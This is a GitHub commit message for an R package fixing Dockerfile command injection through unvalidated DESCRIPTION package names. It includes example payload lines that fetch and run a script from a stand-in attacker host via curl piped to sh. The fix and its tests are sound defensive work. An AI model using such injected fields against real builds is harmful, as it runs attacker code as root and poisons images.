You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
fix(security): validate package names read from the DESCRIPTION (#113)
`dock_from_desc()` interpolates package names from the (possibly
untrusted) `DESCRIPTION` into generated Dockerfile directives with no
validation, on two paths:
1. `build_from_source = FALSE`: the `Package:` field goes into the
`COPY <pkg>_*.tar.gz /app.tar.gz` directive and the `list.files()`
tar.gz-cleanup glob.
2. `build_from_source = TRUE` (the default): every `Imports:` /
`Depends:` / `Suggests:` / `LinkingTo:` / `Enhances:` name
(`desc::desc_get_deps(path)$package`) goes into a generated
`remotes::install_version("<name>", ...)` install RUN.
`read.dcf()` and `desc::desc_get_deps()` both join DCF continuation
lines with `\n`, so a crafted field such as
Package: app
RUN curl -s https://evil.example/x.sh | sh #
or
Imports:
evilpkg
RUN curl -s https://evil.example/x.sh | sh #
yields a value containing an embedded newline, and the generated
Dockerfile then carries an extra standalone `RUN` directive on the
next physical line -- attacker-controlled commands executing as root
at `docker build` time (build secrets, mounted SSH keys, supply-chain
poisoning of the produced image). The `DESCRIPTION` is a plausible
attacker artifact: received from a colleague, vendored, a CI cache, a
cloned tarball.
Add `.validate_pkg_name()` / `.validate_pkg_names()` (CRAN
package-name grammar `^[a-zA-Z][a-zA-Z0-9.]*$` -- letters, digits and
dots only, starting with a letter; no whitespace, newlines or
shell/Dockerfile metacharacters) and call them at `dock_from_desc()`
entry: the `Package:` field once (reused for the `COPY` directive, the
cleanup glob and the "tar.gz created" message), and every
dependency-field name after the R/base-package filter.
Two related hardening tweaks on the same code path:
- Read the `Package:` field by name (`read.dcf(path)[1L, "Package"]`)
instead of positionally (`read.dcf(path)[1]`): DCF field order is
not guaranteed, so a `DESCRIPTION` with `Type:` / `Encoding:` ahead
of `Package:` would otherwise validate and reuse the wrong value.
- Build the tar.gz-cleanup `list.files()` pattern from a glob
(`glob2rx(sprintf("%s_*.tar.gz", pkg_name))`) instead of a raw
`sprintf("%s_.+.tar.gz", pkg_name)`: a dot in `pkg_name` (allowed by
the CRAN grammar, e.g. `R.utils`) was being treated as a regex
wildcard and could `file.remove()` a sibling package's tarball
(`RZutils_*.tar.gz`).
Tests added (red-first): a `DESCRIPTION` whose `Package:` field,
resp. whose `Imports:` field, carries a continuation-line `RUN`
payload must raise the package-name validation error rather than
reaching the Dockerfile (verified red against the unpatched function
-- the payload landed in the generated Dockerfile as a standalone
`RUN` line -- and green after the fix); and `dock_from_desc(..., update_tar_gz = TRUE)`
for `Package: R.utils` must not delete a sibling `RZutils_*.tar.gz`
(verified red against the `sprintf` pattern, green after `glob2rx`).
Benign `DESCRIPTION` still produces the expected `COPY` and
`install_version` lines. Full test suite: 0 failures. R CMD check:
0/0/0 (one transient "unable to verify current time" host NOTE,
unrelated). Same fix shape as the `dock_from_renv()` lockfile-injection
fix in #112.
0 commit comments